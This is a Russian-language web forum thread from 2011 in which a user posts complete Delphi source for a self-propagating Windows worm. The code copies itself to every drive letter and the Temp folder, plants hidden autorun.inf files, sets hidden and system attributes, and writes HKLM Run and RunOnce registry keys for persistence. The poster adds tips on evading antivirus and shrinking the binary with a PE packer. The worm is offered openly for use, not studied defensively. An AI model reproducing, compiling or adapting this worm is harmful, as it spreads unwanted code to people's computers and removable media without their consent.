Приветствуем Вас на сайте!
      Авторизировавшись на сайте Вы получаете возможность заказывать эксклюзивные вещи для Вашего сайта, скачивать новинки, общаться с друзьями.

      Если у Вас ещё нет аккаунта на BEST STUDIO, вы можете создать его потратив не более 10-ти секунд используя форму справа с заголовком "Вход на сайт"
Вход на сайт
Логин:

Пароль:
Вход
Войти по Логину и Паролю
О нас
Cтудия скриптов и дизайна BEST STUDIO, как студия перспективных веб-разработок, была основана 1 июля 2009 г. Уже более 17000 зарегистрированых пользователей! С момента ее создания мы четко придерживаемся принципа: «Быстро, качествено, дорого».

Заказывая работу для вашего сайта у нас, вы экономите время...

Стремитесь к лучшему - в Best Studio!
Войти | Зарегистрироваться
Настройки
Анимация Шапки
Анимация Меню
Анимация Футера
Автообновление Чата
Автообновление Статистики
Звуковые Оповещения
Авто Подгрузка Материалов

Перезагрузите страницу
Опции темы
Я настройка

  • Страница 1 из 1
  • 1
Модератор форума: uberchel  
Простой Win32Worm
uberchel
22.05.2011, 14:29

Группа: Пользователи

Сообщений: 399

Награды: 11

Статус: Offline
Простой Win32Worm или Trojan.Generic.
Данный исходник показывает только копирование себя на съемные носители, локальные диски и прописывание себя в реестре. Данный код использует всего два модуля и поэтому после компиляции проекта, вес получается совсем небольшой 18кб. Также после этого, его можно ещё сжать любым PE Архиватором и вес его станет примерно 10-11 кб.

Принцип работы:
При запуске он копирует себя на все диски и во временную папку темп, но не лезет в реестр что бы антивирус молчал, после чего зайдя на любой локальный или съёмный диск,он будет прописываться в реестр и копировать себя туда где его нет, после чего открывать диск(раздел) в который вы хотели войти.

Code
program worm;

uses
   Windows, ShellAPI;

//говорим что, что на выходе хотим получить не *.exe а *.cmd
{$E .cmd}

procedure CreateAutorun(Register: Boolean);
var
  Temp: HKEY;
  FFO: TextFile;  
  D,i,j: Integer;
  S: PAnsiChar;
  FileName: string;
  DataType, DataSize: DWORD;
  Buf: array[0..255] of Char;
//масив содержанием файла autorun.inf
const
  L1: array[0..5] of string = ('[AutoRun]','UseAutoPlay=1','shell\auto=&Автозапуск',
  'shell\open=&Открыть','shell\explore=&Проводник','shell\find=&Найти');
  L2: array[0..5] of string = ('open=','ShellExecute=','shell\auto\command=',
  'shell\open\Command=','shell\explore\Command=','shell\find\Command=');
begin
  {$I-}//этой директивой мы говорим игнорировать все ошибки
  FileName:= 'Autorun.inf'; //назначаем имя  
  for D:= ord('C') to ord('Z') do //запускаем цикл для копирования копирования на насители
  begin
     AssignFile(FFO, Chr(D) + ':\' + FileName);
     Rewrite(FFO);  
     for i:= 0 to 5 do //в этом цикле мы данные из масива вписываем в autorun.inf
      begin
       Write(FFO,L1[i] + #13#10);
       Write(FFO,L2[i]+ Chr(D) +'.cmd o' + #13#10);
      end;
     CloseFile(FFO);

   if CopyFile(PChar(ParamStr(0)), PChar(Chr(D) + ':\' + Chr(D) + '.cmd'), False) then //копирование
    begin
     SetFileAttributes(PChar(Chr(D) + ':\' + FileName), 1 + 2 + 4); //назначаем аттрибут для autorun.inf
     SetFileAttributes(PChar(Chr(D) + ':\' + Chr(D) + '.cmd'), 1 + 2 + 4); //назначаем аттрибут для себя
    end;

   if GetTempPath(j, buf) <> 0 then //получаем путь к временной папке Temp
    begin
     S:= Buf;
     if CopyFile(PChar(ParamStr(0)), PChar(S + Chr(D) + '.bat'), False) then //копируем себя в темп
      begin
       RegOpenKey(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\RunOnce\', Temp); //записываем, в реестр
       RegSetValueEx(Temp, PChar('Shell'), 0, REG_SZ, PChar('Explorer.exe ' + S + Chr(D) + '.bat'),
       Length('explorer.exe ' + S +Chr(D) + '.bat i') + 1);
       RegCloseKey(Temp);
      end;
    end;

   if Register then //записываем, в реестр уже скопированые файлы(при заходе на любой из дисков выполяеться этот код)
    begin
     RegOpenKey(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\Run', Temp);
     RegSetValueEx(Temp, PChar('Worm_' + Chr(D)), 0, REG_SZ, PChar(Chr(D) + ':\' + Chr(D) + '.cmd'),
     Length(ParamStr(0)) + 1);
     RegCloseKey(Temp);
    end;
  end;
end;

begin
  if ParamStr(1) = 'o' then //дейсквие выполняеться, если запуск с пораметрам O
   begin
    CreateAutorun(True);
    ShellExecuteA(0, nil, '', nil, nil, SW_SHOWNOACTIVATE);
   end
  else
  CreateAutorun(False); //выполняется если запуск без параметра.
end.
1Kb
14.06.2011, 17:41

Группа: Пользователи

Сообщений: 2

Награды: 0

Статус: Offline
Тут типо выкладываем вирусы?
uberchel
15.06.2011, 01:27

Группа: Пользователи

Сообщений: 399

Награды: 11

Статус: Offline
1Kb, почему только вирусы ?, вообще любые свои наработки или программы на написанные на делфи.
  • Страница 1 из 1
  • 1
Поиск: